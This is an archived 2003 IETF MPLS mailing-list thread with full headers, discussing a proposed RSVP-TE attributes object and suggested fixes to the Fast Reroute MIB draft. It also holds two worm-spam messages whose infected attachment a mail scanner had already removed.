	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02698
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 20:39:56 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjwk09381
	for <mpls-archive@lists.ietf.org>; Sat, 11 Oct 2003 00:40:02 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjwk09223;
	Sat, 11 Oct 2003 00:39:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjwj04787
	for mpls-outgoing; Sat, 11 Oct 2003 00:21:39 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpjwj04780
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 11 Oct 2003 00:21:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjwj11571
	for <mpls@uu.net>; Sat, 11 Oct 2003 00:20:18 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjwj02025
	for <mpls@uu.net>; Sat, 11 Oct 2003 00:20:18 GMT
Received: from sj-iport-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpjwj01995
	for <mpls@uu.net>; Sat, 11 Oct 2003 00:20:16 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9B0KC5R011913
	for <mpls@uu.net>; Fri, 10 Oct 2003 17:20:13 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADB47474;
	Fri, 10 Oct 2003 20:20:12 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9B0KCS06965 for mpls@uu.net; Fri, 10 Oct 2003 20:20:12 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpjwj04687
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 11 Oct 2003 00:19:01 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpjwi25308
	for <mpls@uu.net>; Sat, 11 Oct 2003 00:13:32 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjwi29907
	for <mpls@uu.net>; Sat, 11 Oct 2003 00:13:32 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpjwi29887
	for <mpls@uu.net>; Sat, 11 Oct 2003 00:13:31 GMT
Received: from zaliw2k01 (che-vpn-cluster-2-82.cisco.com [10.86.242.82])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9B0DS5i013643;
	Fri, 10 Oct 2003 20:13:28 -0400 (EDT)
From: "zafar ali" <zali@cisco.com>
To: "'Adrian Farrel'" <adrian@olddog.co.uk>, "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: RSVP-TE Session Attribute bit shortage
Date: Fri, 10 Oct 2003 20:13:27 -0400
Organization: Cisco Systems
Message-ID: <003a01c38f8c$7f3ccbb0$bf98e440@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <07c801c38f84$7231fec0$c5849ed9@Puppy>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Adrian, 

I think these extensions are much needed to reduce complexity while move
forward with the new features. 

Thanks

Regards... Zafar

------------------------------------------------------------------------
--
Zafar Ali, Ph.D. 
Technical Leader              
Cisco Systems 
100 South Main St. #200
Ann Arbor, MI 48104, USA.
Phone: (734) 276-2459.

>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf 
>Of Adrian Farrel
>Sent: Friday, October 10, 2003 7:14 PM
>To: 'mpls@uu.net'
>Subject: RSVP-TE Session Attribute bit shortage
>
>
>All,
>
>At the last IETF it was observed that there was a shortage of 
>bit flags in the Session Attribute object.
>
>Building on a similar feature recently proposed in the OSPF 
>WG, and on a requirement and solution similarly expressed in 
>draft-vasseur-inter-as-te we are suggesting a new protocol 
>object to allow more space for attribute bit flags and also to 
>allow arbitrary attribute TLVs.
>
>We would welcome your comments.
>In particular, we have introduced two objects, one with C-num 
>11bbbbbb and one with C-num 0bbbbbbb. Are they both necessary?
>
>The CCAMP WG will be invited to comment on the MPLS list to 
>keep the cross-list traffic down.
>
>Thanks,
>Adrian
>
>
>----- Original Message ----- 
>From: <Internet-Drafts@ietf.org>
>To: <IETF-Announce:>
>Cc: <mpls@uu.net>; <ccamp@ops.ietf.org>
>Sent: Friday, October 10, 2003 8:37 PM
>Subject: I-D ACTION:draft-farrel-mpls-rsvpte-attributes-00.txt
>
>
>> A New Internet-Draft is available from the on-line Internet-Drafts 
>> directories.
>>
>>
>> Title : Encoding of Attributes for  Multiprotocol Label
>>   Switching (MPLS) Label Switched Path (LSP)
>>   Establishment Using RSVP-TE
>> Author(s) : A. Farrel, D. Papadimitriou, J. Vasseur
>> Filename : draft-farrel-mpls-rsvpte-attributes-00.txt
>> Pages : 11
>> Date : 2003-10-10
>>
>> Multiprotocol Label Switching (MPLS) Label Switched Paths (LSPs) may 
>> be established using the Resource Reservation Protocol Traffic 
>> Engineering extensions (RSVP-TE). This protocol includes an object 
>> (the SESSION_ATTRIBUTE object) which carries a flags field used to 
>> indicate options and attributes of the LSP. That flags field 
>has eight 
>> bits allowing for eight options to be set.
>>
>> Recent proposals in many documents that extend RSVP-TE for signaling 
>> additional features and function for MPLS LSPs have 
>suggested uses for 
>> each of the previously unused bits.
>>
>> This document defines a new object for RSVP-TE messages that allows 
>> the signaling of further attribute bits and also the carriage of 
>> arbitrary attribute parameters. This makes RSVP-TE easily extensible 
>> to support new requirements.
>>
>> A URL for this Internet-Draft is: 
>> 
>http://www.ietf.org/internet-drafts/draft->farrel-mpls-rsvpte-attribute
>> s-00.txt
>>
>> To remove yourself from the IETF Announcement list, send a 
>message to 
>> ietf-announce-request with the word unsubscribe in the body of the 
>> message.
>>
>> Internet-Drafts are also available by anonymous FTP. Login with the 
>> username "anonymous" and a password of your e-mail address. After 
>> logging in, type "cd internet-drafts" and then "get 
>> draft-farrel-mpls-rsvpte-attributes-00.txt".
>>
>> A list of Internet-Drafts directories can be found in 
>> http://www.ietf.org/shadow.html or 
>> ftp://ftp.ietf.org/ietf/1shadow-sites.txt
>>
>>
>> Internet-Drafts can also be obtained by e-mail.
>>
>> Send a message to:
>> mailserv@ietf.org.
>> In the body type:
>> "FILE /internet-drafts/draft-farrel-mpls-rsvpte-attributes-00.txt".
>>
>> NOTE: The mail server at ietf.org can return the document in 
>> MIME-encoded form by using the "mpack" utility.  To use this 
>feature, 
>> insert the command "ENCODING mime" before the "FILE" command.  To 
>> decode the response(s), you will need "munpack" or a MIME-compliant 
>> mail reader.  Different MIME-compliant mail readers exhibit 
>different 
>> behavior, especially when dealing with "multipart" MIME 
>messages (i.e. 
>> documents which have been split up into multiple messages), so check 
>> your local documentation on how to manipulate these messages.
>>
>>
>> Below is the data which will enable a MIME compliant mail reader 
>> implementation to automatically retrieve the ASCII version of the 
>> Internet-Draft.
>>
>



From owner-mpls@UU.NET  Fri Oct 10 21:21:16 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA03535
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 21:21:15 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjwn27894
	for <mpls-archive@lists.ietf.org>; Sat, 11 Oct 2003 01:21:21 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjwn27719;
	Sat, 11 Oct 2003 01:21:15 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjwl07183
	for mpls-outgoing; Sat, 11 Oct 2003 00:59:33 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpjwl07176
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 11 Oct 2003 00:59:23 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjwl23294
	for <mpls@uu.net>; Sat, 11 Oct 2003 00:56:42 GMT
Received: from sj-iport-3.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQphop19488
	for <mpls@uu.net>; Wed, 24 Sep 2003 19:47:38 GMT
Received: from cisco.com (171.71.177.254)
  by sj-iport-3.cisco.com with ESMTP; 24 Sep 2003 12:49:06 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h8OJkLJs009877
	for <mpls@uu.net>; Wed, 24 Sep 2003 12:46:22 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACQ62710;
	Wed, 24 Sep 2003 15:46:20 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h8OJkKb26108 for mpls@uu.net; Wed, 24 Sep 2003 15:46:20 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQphoo15673
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Sep 2003 19:36:18 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQphoo10703
	for <mpls@uu.net>; Wed, 24 Sep 2003 19:32:46 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQphoo27978
	for <mpls@uu.net>; Wed, 24 Sep 2003 19:32:43 GMT
Received: from sj-iport-3.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQphoo27718
	for <mpls@uu.net>; Wed, 24 Sep 2003 19:32:38 GMT
Received: from cisco.com (171.68.223.138)
  by sj-iport-3.cisco.com with ESMTP; 24 Sep 2003 12:34:27 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-4.cisco.com (8.12.6/8.12.6) with ESMTP id h8OJVfxW012655;
	Wed, 24 Sep 2003 12:31:42 -0700 (PDT)
Received: from tnadeauw2k02 (rtp-vpn2-696.cisco.com [10.82.242.184])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACQ61266;
	Wed, 24 Sep 2003 15:31:39 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Nic Neate'" <Nic.Neate@dataconnection.com>, <riza.cetin@alcatel.be>,
        <stefaan.de_cnodder@alcatel.be>,
        "'Juniper - Der-Hwa Gan'" <dhg@juniper.net>
Cc: <mpls@UU.NET>
Subject: RE: Suggested improvements to the Fast Reroute MIB definition in draft-ietf-mpls-fastreroute-mib-01
Date: Wed, 24 Sep 2003 15:31:39 -0400
Organization: Cisco Systems, inc.
Message-ID: <00b101c382d2$7a4ff7b0$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
Importance: Normal
In-Reply-To: <53F74F5A7B94D511841C00B0D0AB16F802870691@baker.datcon.co.uk>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


	Replies inline.

	--Tom


>-----Original Message-----
>From: Nic Neate [mailto:Nic.Neate@dataconnection.com] 
>Sent: Tuesday, September 23, 2003 6:13 AM
>To: 'riza.cetin@alcatel.be'; 'stefaan.de_cnodder@alcatel.be'; 
>Juniper - Der-Hwa Gan; Cisco - Thomas Nadeau
>Cc: 'mpls@uu.net'
>Subject: Suggested improvements to the Fast Reroute MIB 
>definition in draft-ietf-mpls-fastreroute-mib-01
>
>
>All,
>
>I've been looking at Fast Reroute MIB draft
>(draft-ietf-mpls-fastreroute-mib-01.txt) and I think there are 
>a few bugs.
>I've suggested fixes and raised some other ideas below.  These 
>concern the
>mplsFrrConstProtectionMethod scalar, the mplsFrrConstTable and the
>mplsFrrDetourTable.
>
>Please let me know if you agree with these proposals, or have 
>any further
>suggestions.  Thanks,
>
>Nic
>
>
>mplsFrrConstProtectionMethod scalar
>===================================
>
>This scalar configures the protection method that is to be 
>used.  Currently,
>this applies to all LSPs traversing the LSR, however this 
>option should be
>configurable per-LSP.  Hence the mplsFrrConstProtectionMethod 
>should rather be a field in the mplsFrrConstTable.  This allows an LSR
to 
>simultaneously support LSPs using both protection methods, and
interoperate 
>between them, as allowed by the Fast Reroute draft.

	It is our understanding that only One2One or Facillity 
can be used on all LSPs that a given LSR supports, thus
the configuration is done globally.  We do not 
know of any products that support both at the same time,
or any that plan to. Can both be supported at the same
time given the current definitions of the standard?

>I suggest removing the mplsFrrConstProtectionMethod scalar, 
>and adding the
>following field to the mplsFrrConstTable.
>
>   mplsFrrConstProtectionMethod OBJECT-TYPE
>      SYNTAX        INTEGER { oneToOneBackup(0),
>                              facilityBackup(1)
>                            }
>      MAX-ACCESS    read-write
>      STATUS        current
>      DESCRIPTION
>        "Indicates which protection method is to be used for fast
>         reroute."
>      ::= { mplsFrrConstEntry 4 }
>
>Note that the other references to the 
>mplsFrrConstProtectionMethod will need
>to be updated correspondingly, and in particular the 
>definitions of most of
>the other scalars.
>
>
>mplsFrrConstTable
>=================
>
>A.  The current indexing (mplsFrrConstIfIndex, 
>mplsFrrConstTunnelIndex and
>mplsFrrConstTunnelInstance) is not sufficient in the case that 
>two different
>LSPs use the same interface and have the same tunnel index and tunnel
>instance (but different ingress and egress LSR IDs) and 
>require different Fast Reroute configuration.

	By "different FRR configuration" do you mean two
mean One2One and Facillity?  If so, paste in my response
from above here.

>Rather than adjusting the current indexing, I suggest 
>replacing the three
>existing indices with a single integer index, 
>mplsFrrConstIndex.  This index
>can then be referenced from the mplsTunnelTable and the 
>mplsFrrDetourTable,
>establishing a simple indexing system with clear relationships 
>between the
>tables (which is also in line with existing relationships 
>between tables in
>the TE-MIB and LSR-MIB).  Some suggested text follows.
>
>   MplsFrrConstIndex ::= TEXTUAL-CONVENTION
>      STATUS        current
>      DESCRIPTION
>        "Index into mplsFrrConstTable."
>      SYNTAX  Integer32 (1..65535)
>
>   mplsFrrConstIndex OBJECT-TYPE
>      SYNTAX        MplsFrrConstIndex
>      MAX-ACCESS    not-accessible
>      STATUS        current
>      DESCRIPTION
>           "Uniquely identifies this row."
>      ::= { mplsFrrConstEntry 1 }
>
>The mplsTunnelTable should then be extended with a row pointer 
>to indicate the mplsFrrConstTable to be used to configure Fast Reroute 
>protection for that tunnel as follows.

	Why do you suggest using a RowPointer over pure
indexes? 

>   -- MPLS Fast Reroute Tunnel Table
>
>   mplsFrrTunnelTable            OBJECT-TYPE
>      SYNTAX                     SEQUENCE OF MplsFrrTunnelEntry
>      MAX-ACCESS                 not-accessible
>      STATUS                     current
>      DESCRIPTION
>         "This table extends the mplsTunnelTable defined in the
>          MPLS-TE MIB to provide Fast Reroute configuration."
>      ::= { mplsFrrGeneralObjects 1 }
>
>   mplsFrrTunnelEntry            OBJECT-TYPE
>      SYNTAX                     MplsFrrTunnelEntry
>      MAX-ACCESS                 not-accessible
>      STATUS                     current
>      DESCRIPTION
>         "This entry provides Fast Reroute configuration for the
>          tunnel."
>      AUGMENTS { mplsTunnelEntry }
>      ::= {mplsFrrTunnelTable 1}
>
>   MplsFrrTunnelEntry ::= SEQUENCE {
>      mplsFrrTunnelFrrConstPointer      RowPointer
>   }
>
>   mplsFrrTunnelFrrConstPointer   OBJECT-TYPE
>      SYNTAX                      RowPointer
>      MAX-ACCESS                  read-create
>      STATUS                      current
>      DESCRIPTION
>           "This variable represents a pointer to the Fast Reroute 
>             parameter specification for this tunnel.  This value may 
>             point at an entry in the mplsFrrConstTable to indicate 
>             which mplsFrrConstEntry is to be assigned to this LSP 
>             instance.  This value may optionally point at an 
>             externally defined Fast Reroute parameter specification 
>             table.  A value of zeroDotZero indicates default Fast 
>             Reroute parameters if the fastReroute bit in the 
>             mplsTunnelSessionAttributes is set, and otherwise no Fast 
>             Reroute protection."
>      DEFVAL        { zeroDotZero }
>      ::= { mplsFrrTunnelEntry 1 }
>
>   END
>
>Similarly, the mplsFrrConstIndex field should be added to the
>mplsFrrDetourTable to describe the protection that the detour 
>is providing as follows.

	Same question as above.

>
>
>   mplsFrrDetourFrrConstIndex OBJECT-TYPE
>      SYNTAX        MplsFrrConstIndexOrZero
>      MAX-ACCESS    read-only
>      STATUS        current
>      DESCRIPTION
>        "Index into the mplsFrrConstTable entry that specifies the
>         Fast Reroute protection that this detour is providing."
>      DEFVAL { 0 }
>      ::= { mplsFrrDetourEntry 2 }
>
>B.  The mplsFrrConstHopLimit field is not applicable to entries in this
>table representing detours, because this information is only 
>known on the
>protected LSP (signaled in the RSVP FAST_REROUTE object).  At 
>transit detour nodes there is no way to fill in this field, so I
suggest modifying the
>description to the following.
>
>      DESCRIPTION
>        "The maximum number of hops that the detour LSP may traverse.
>         This field is not relevant and should be ignored if this 
>         entry in the mplsFrrConstTable is being used in the context
>         of representing a detour LSP."

	OK.


>C.  Typo: the mplsFrrConstExclAllAffinity field should be
>mplsFrrConstExclAnyAffinity.  See section 4.1 of
>draft-ietf-mpls-rsvp-lsp-fastreroute-03, and the corresponding 
>field in the TE-MIB.

	OK.

>mplsFrrDetourTable
>==================
>
>A.  This table needn't be restricted to detour LSPs, as it is just as
>applicable to the backup LSPs used in the facility method (by 
>which I mean
>the backups that are tunneled through the bypass LSPs, not the 
>bypass LSPs
>themselves).  Simply renaming it to the mplsFrrBackupTable broadens its
>scope in this way, making it twice as useful.

	We wanted to keep things separate to keep 
conformance/implementation clean.  There is a
place to keep information related to backup LSP info.

>B.  I think it would be helpful to add pointers from this table to the
>mplsTunnelARHopTable and the mplsTunnelResourceTable, to 
>describe the route
>the backup traverses, and the traffic parameters it uses.  I 
>suggest the
>following new fields (for which I have adopted the rename from
>"mplsFrrDetour* to mplsFrrBackup* as suggested above).

	There are already "pointers" by virtue of looking
at the mplsTunnelTable to see the backup LSPs (and their
associated traffic parameters).  These will be entries
with special tunnelInstanceIndex values (as described).

>   mplsFrrBackupARHopPointer      OBJECT-TYPE
>      SYNTAX                      RowPointer
>      MAX-ACCESS                  read-only
>      STATUS                      current
>      DESCRIPTION
>         "This variable represents a pointer an entry in the 
>          mplsTunnelARHopTable describing the actual hops traversed 
>          by this backup LSP.  A value of zeroDotZero indicates 
>          that no record of the hops is available."
>      DEFVAL        { zeroDotZero }
>      REFERENCE
>         "Srinivansan, C., and A. Viswanathan, T. Nadeau, MPLS Traffic
>          Engineering Management Information Base Using SMIv2,
>          draft-ietf-mpls-te-mib-12.txt "
>      ::= { mplsFrrBackupEntry 6 }
>
>   mplsFrrBackupResourcePointer   OBJECT-TYPE
>      SYNTAX                      RowPointer
>      MAX-ACCESS                  read-only
>      STATUS                      current
>      DESCRIPTION
>        "This variable represents a pointer to the traffic
>          parameter specification for this backup LSP.  This
>          value may point at an entry in the
>          mplsTunnelResourceTable or may optionally point at
>          an externally defined traffic parameter specification 
>          table.  A value of zeroDotZero indicates best-effort 
>          treatment."
>      DEFVAL        { zeroDotZero }
>      REFERENCE
>         "Srinivansan, C., and A. Viswanathan, T. Nadeau, MPLS Traffic
>          Engineering Management Information Base Using SMIv2,
>          draft-ietf-mpls-te-mib-12.txt "
>      ::= { mplsFrrBackupEntry 7 }
>
>C.  The mplsFrrDetourRole and mplsFrrDetourXCPointer fields mentioned
>elsewhere in the draft have been omitted from the definition 
>of the table.
>I suggest incorporating them as follows (again, adopting the 
>rename from
>"mplsFrrDetour* to mplsFrrBackup* suggested above).
>
>   mplsFrrBackupRole OBJECT-TYPE
>      SYNTAX        BITS { head(0),
>                           merging(1)
>                         }
>      MAX-ACCESS    read-only
>      STATUS        current
>      DESCRIPTION
>        "This bitmask describes the role of this backup LSP.
>  
>         head(0) This flag indicates that this LSR is the 
>           PLR for this backup.
>
>         merging(1) This flag indicates that this backup 
>           merges with some other backups and/or the 
>           protected LSP at this LSR."
>      ::= { mplsFrrBackupEntry 8 }
>
>   mplsFrrBackupXCPointer OBJECT-TYPE
>      SYNTAX        RowPointer
>      MAX-ACCESS    read-create
>      STATUS        current
>      DESCRIPTION
>        "This variable points to a row in the mplsXCTable.
>         This table identifies the segments that compose
>         this tunnel, their characteristics, and
>         relationships to each other."
>      REFERENCE
>        "Srinivasan, C., Viswanathan, A., and T. Nadeau, MPLS
>         Label Switch Router Management Information Base,
>         Internet Draft <draft-ietf-mpls-lsr-mib-10.txt>,
>         June 2003."
>      DEFVAL        { zeroDotZero }
>      ::= { mplsFrrBackupEntry 9 }
>



From owner-mpls@UU.NET  Sat Oct 11 07:51:49 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA00084
	for <mpls-archive@lists.ietf.org>; Sat, 11 Oct 2003 07:51:48 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjyd22204
	for <mpls-archive@lists.ietf.org>; Sat, 11 Oct 2003 11:51:55 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjyd22000;
	Sat, 11 Oct 2003 11:51:44 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjyb18286
	for mpls-outgoing; Sat, 11 Oct 2003 11:27:17 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpjyb18281
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 11 Oct 2003 11:27:06 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpjyb05911
	for <mpls@uu.net>; Sat, 11 Oct 2003 11:25:26 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjyb03713
	for <mpls@uu.net>; Sat, 11 Oct 2003 11:25:26 GMT
Received: from sj-iport-3.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpjyb03703
	for <mpls@uu.net>; Sat, 11 Oct 2003 11:25:26 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 11 Oct 2003 04:34:10 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9BBPM5R011721
	for <mpls@uu.net>; Sat, 11 Oct 2003 04:25:22 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADB59843;
	Sat, 11 Oct 2003 07:25:20 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9BBPK815830 for mpls@uu.net; Sat, 11 Oct 2003 07:25:20 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjyb18112
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 11 Oct 2003 11:24:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjyb03932
	for <mpls@uu.net>; Sat, 11 Oct 2003 11:22:23 GMT
From: arunv@force10networks.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphms18671
	for <mpls@uu.net>; Wed, 24 Sep 2003 07:40:37 GMT
Message-Id: <QQphms18671.200309240740@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Approved
Date: Fri, 1 Jan 1999 3:19:44 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_00B66907"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_00B66907
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

------------------  Virus Warning Message (on the network)

Found virus WORM_SOBIG.F in file wicked_scr.scr
The uncleanable file is deleted.

---------------------------------------------------------

--_NextPart_000_00B66907
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file for details.
--_NextPart_000_00B66907
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


------------------  Virus Warning Message (on the network)

wicked_scr.scr is removed from here because it contains a virus.

---------------------------------------------------------
--_NextPart_000_00B66907--



From owner-mpls@UU.NET  Sun Oct 12 00:54:58 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA24881
	for <mpls-archive@lists.ietf.org>; Sun, 12 Oct 2003 00:54:57 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkat25113
	for <mpls-archive@lists.ietf.org>; Sun, 12 Oct 2003 04:55:06 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkat24513;
	Sun, 12 Oct 2003 04:54:50 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkas06644
	for mpls-outgoing; Sun, 12 Oct 2003 04:36:48 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpkas06612
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 12 Oct 2003 04:36:40 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkaq17229
	for <mpls@uu.net>; Sun, 12 Oct 2003 04:12:39 GMT
From: zinin@psg.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphnc15424
	for <mpls@uu.net>; Wed, 24 Sep 2003 10:05:56 GMT
Message-Id: <QQphnc15424.200309241005@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Approved
Date: Fri, 1 Jan 1999 5:45:02 +0530
X-MailScanner: Found to be clean
Importance: Normal
